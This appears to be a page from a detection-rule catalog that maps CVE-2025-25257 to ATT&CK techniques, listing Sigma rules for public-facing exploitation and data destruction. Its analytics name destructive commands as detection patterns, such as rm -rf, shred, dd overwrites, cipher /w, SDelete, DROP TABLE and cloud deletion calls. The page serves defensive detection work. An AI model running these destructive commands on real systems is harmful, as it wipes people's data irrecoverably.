Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)

Techniques: T1190 T1210

RDS Database Security Group Modification mediumtest

Author: jamesc-grafana · 2024-07-11 · logsource: product=aws service=cloudtrail · 14f3f1c8-02d5-43a2-a191-91ffb52d3015

Detects changes to the security group entries for RDS databases. This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.

Techniques: T1190

Cisco ASA Exploitation Activity - Proxy highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2025-11-20 · logsource: category=proxy · 15697955-6a29-47ca-92e9-0e05efae3260

Detects suspicious requests to Cisco ASA WebVpn via proxy logs associated with CVE-2025-20333 and CVE-2025-20362 exploitation.

Techniques: T1190

CVE tags: CVE-2025-20333CVE-2025-20362

TerraMaster TOS CVE-2020-28188 hightest

Author: Bhabesh Raj · 2021-01-25 (modified 2023-01-02) · logsource: category=webserver · 15c312b9-00d0-4feb-8870-7d940a4bdc5e

Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188

Techniques: T1190

CVE tags: CVE-2020-28188

Potential Server Side Template Injection In Velocity hightest

Author: Moti Harmats · 2023-02-11 · logsource: product=velocity category=application · 16c86189-b556-4ee8-b4c7-7e350a195a4f

Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.

Techniques: T1190

CVE-2021-21972 VSphere Exploitation hightest

Author: Bhabesh Raj · 2021-02-24 (modified 2023-01-02) · logsource: category=webserver · 179ed852-0f9b-4009-93a7-68475910fd86

Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972

Techniques: T1190

CVE tags: CVE-2021-21972

Potential OWASSRF Exploitation Attempt - Webserver hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-12-22 (modified 2023-01-02) · logsource: category=webserver · 181f49fa-0b21-4665-a98c-a57025ebb8c7

Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint

Techniques: T1190

Suspicious User-Agents Related To Recon Tools mediumtest

Author: Nasreddine Bencherchali (Nextron Systems), Tim Shelton · 2022-07-19 (modified 2026-06-11) · logsource: category=webserver · 19aa4f58-94ca-45ff-bc34-92e533c0994a

Detects known suspicious (default) user-agents related to scanning/recon tools

Techniques: T1190

Python SQL Exceptions mediumstable

Author: Thomas Patzke · 2017-08-12 (modified 2020-09-01) · logsource: product=python category=application · 19aefed0-ffd4-47dc-a7fc-f8b1425e84f9

Generic rule for SQL exceptions in Python according to PEP 249

Techniques: T1190

All 149 rules on the technique page →

T1485 Data Destruction secondary impact

DET0146 Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns
AN0411 Windows
Adversary spawns command-line tools (e.g., del, cipher /w, SDelete) or scripts to recursively delete or overwrite user/system files. This may be correlated with abnormal file IO activity, registry writes, or tampering in critical system directories.

WinEventLog:Sysmon EventCode=1 → DC0032 Process Creation
WinEventLog:Sysmon EventCode=11 → DC0039 File Creation
WinEventLog:Sysmon EventCode=23 → DC0040 File Deletion

Tunable: TargetFilename ProcessCommandLine VolumeThreshold TimeWindow

AN0412 Linux
Massive recursive deletions or overwrites via rm -rf, shred, dd, or wiper binaries. May include unlink syscalls, deletion of known config/data paths, or sequential overwrite patterns.

auditd:SYSCALL unlink, unlinkat, openat, write → DC0040 File Deletion
auditd:SYSCALL execve → DC0032 Process Creation

Tunable: ExecutablePath DeletedPathPattern SyscallBurstRate

AN0413 macOS
Destruction via rm -rf, overwrite with dd or srm, often executed by script in /tmp or /private/tmp, may also involve file overwrite to political or decoy image data.

macos:unifiedlog exec rm -rf|dd if=/dev|srm|file unlink → DC0040 File Deletion
macos:unifiedlog process.*exit.*code → DC0033 Process Termination

Tunable: CommandPattern EntropyChangeRate

AN0414 IaaS
Adversary deletes critical infrastructure: EC2 instances, S3 buckets, snapshots, or volumes using elevated IAM credentials. Frequently includes batch API calls with Delete* or TerminateInstances.

AWS:CloudTrail DeleteBucket, DeleteDBCluster, DeleteSnapshot, TerminateInstances → DC0022 Cloud Storage Deletion

Tunable: OperationType UserAgent RegionScope

AN0415 ESXi
Adversary destroys virtual disks (VMDK), images, or VMs by invoking vim-cmd, deleting datastore contents, or purging snapshots.

esxi:vmkernel file delete|datastore purge → DC0098 Volume Deletion

Tunable: DatastorePath InitiatingUser

AN0416 Containers
Container process executes destructive file operations inside volume mounts or host paths. Includes rm -rf /mnt/volumes/, container breakout followed by host deletion attempts.

auditd:SYSCALL unlink, unlinkat, rmdir → DC0040 File Deletion
docker:events container exec rm|container stop --force → DC0064 Command Execution

Tunable: MountPoint ContainerImage

Sigma rules tagged `attack.t1485` (20)

MSSQL Destructive Query mediumexperimental

Author: Daniel Degasperi '@d4ns4n_' · 2025-06-04 · logsource: product=windows service=application · 00321fee-ca72-4cce-b011-5415af3b9960

Detects the invocation of MS SQL transactions that are destructive towards table or database data, such as "DROP TABLE" or "DROP DATABASE".

Techniques: T1485

Azure Kubernetes Network Policy Change mediumtest

Author: Austin Songer @austinsonger · 2021-08-07 (modified 2022-08-23) · logsource: product=azure service=activitylogs · 08d6ac24-c927-4469-b3b7-2e422d6e3c43

Identifies when a Azure Kubernetes network policy is modified or deleted.

Techniques: T1485 T1496 T1489

Azure Kubernetes Service Account Modified or Deleted mediumtest

Author: Austin Songer @austinsonger · 2021-08-07 (modified 2022-08-23) · logsource: product=azure service=activitylogs · 12d027c3-b48c-4d9d-8bb6-a732200034b2

Identifies when a service account is modified or deleted.

Techniques: T1531 T1485 T1496 T1489

Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted mediumtest

Author: Austin Songer @austinsonger · 2021-08-07 (modified 2022-08-23) · logsource: product=azure service=activitylogs · 25cb259b-bbdc-4b87-98b7-90d7c72f8743

Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.

Techniques: T1485 T1496 T1489

DD File Overwrite lowtest

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC · 2021-10-15 (modified 2022-07-07) · logsource: product=linux category=process_creation · 2953194b-e33c-4859-b9e8-05948c167447

Detects potential overwriting and deletion of a file using DD.

Techniques: T1485

AWS EKS Cluster Created or Deleted lowtest

Author: Austin Songer · 2021-08-16 (modified 2022-10-09) · logsource: product=aws service=cloudtrail · 33d50d03-20ec-4b74-a74e-1e65a38af1c0

Identifies when an EKS cluster is created or deleted.

Techniques: T1485

Overwriting the File with Dev Zero or Null lowstable

Author: Jakob Weinzettl, oscd.community · 2019-10-23 · logsource: product=linux service=auditd · 37222991-11e9-4b6d-8bdf-60fbe48f753e

Detects overwriting (effectively wiping/deleting) of a file.

Techniques: T1485

Potential Secure Deletion with SDelete mediumtest

Author: Thomas Patzke · 2017-06-14 (modified 2024-12-13) · logsource: product=windows service=security · 39a80702-d7ca-4a83-b776-525b1f86a36d

Detects files that have extensions commonly seen while SDelete is used to wipe files.

Techniques: T1070.004 T1027.005 T1485 T1553.002

Azure Device or Configuration Modified or Deleted mediumtest

Author: Austin Songer @austinsonger · 2021-09-03 (modified 2022-10-09) · logsource: product=azure service=activitylogs · 46530378-f9db-4af9-a9e5-889c177d3881

Identifies when a device or device configuration in azure is modified or deleted.

Techniques: T1485 T1565.001

Deleted Data Overwritten Via Cipher.EXE mediumtest

Author: frack113 · 2021-12-26 (modified 2023-02-21) · logsource: product=windows category=process_creation · 4b046706-5789-4673-b111-66f25fe99534

Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives

Techniques: T1485

AWS EFS Fileshare Mount Modified or Deleted mediumtest

Author: Austin Songer @austinsonger · 2021-08-15 (modified 2022-10-09) · logsource: product=aws service=cloudtrail · 6a7ba45c-63d8-473e-9736-2eaabff79964

Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.

Techniques: T1485

Microsoft 365 - Unusual Volume of File Deletion mediumtest

Author: austinsonger · 2021-08-19 (modified 2022-10-09) · logsource: product=m365 service=threat_management · 78a34b67-3c39-4886-8fb4-61c46dc18ecd

Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.

Techniques: T1485

Azure Kubernetes Secret or Config Object Access mediumtest

Author: Austin Songer @austinsonger · 2021-08-07 (modified 2022-08-23) · logsource: product=azure service=activitylogs · 7ee0b4aa-d8d4-4088-b661-20efdf41a04c

Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.

Techniques: T1485 T1496 T1489

Azure Kubernetes Sensitive Role Access mediumtest

Author: Austin Songer @austinsonger · 2021-08-07 (modified 2022-08-23) · logsource: product=azure service=activitylogs · 818fee0c-e0ec-4e45-824e-83e4817b0887

Identifies when ClusterRoles/Roles are being modified or deleted.

Techniques: T1485 T1496 T1489

Azure Container Registry Created or Deleted lowtest

Author: Austin Songer @austinsonger · 2021-08-07 (modified 2022-08-23) · logsource: product=azure service=activitylogs · 93e0ef48-37c8-49ed-a02c-038aab23628e

Detects when a Container Registry is created or deleted.

Techniques: T1485 T1496 T1489

All 20 rules on the technique page →

CVE-2025-25257 Mapped Sigma

ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28

Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources

T1055 Process Injection exploitation technique

Sigma rules tagged attack.t1055 (37)

T1059.004 Unix Shell primary impact

Sigma rules tagged attack.t1059.004 (18)

T1068 Exploitation for Privilege Escalation exploitation technique

Sigma rules tagged attack.t1068 (31)

T1190 Exploit Public-Facing Application exploitation technique

Sigma rules tagged attack.t1190 (149)

T1485 Data Destruction secondary impact

Sigma rules tagged attack.t1485 (20)

Sigma rules tagged `attack.t1055` (37)

Sigma rules tagged `attack.t1059.004` (18)

Sigma rules tagged `attack.t1068` (31)

Sigma rules tagged `attack.t1190` (149)

Sigma rules tagged `attack.t1485` (20)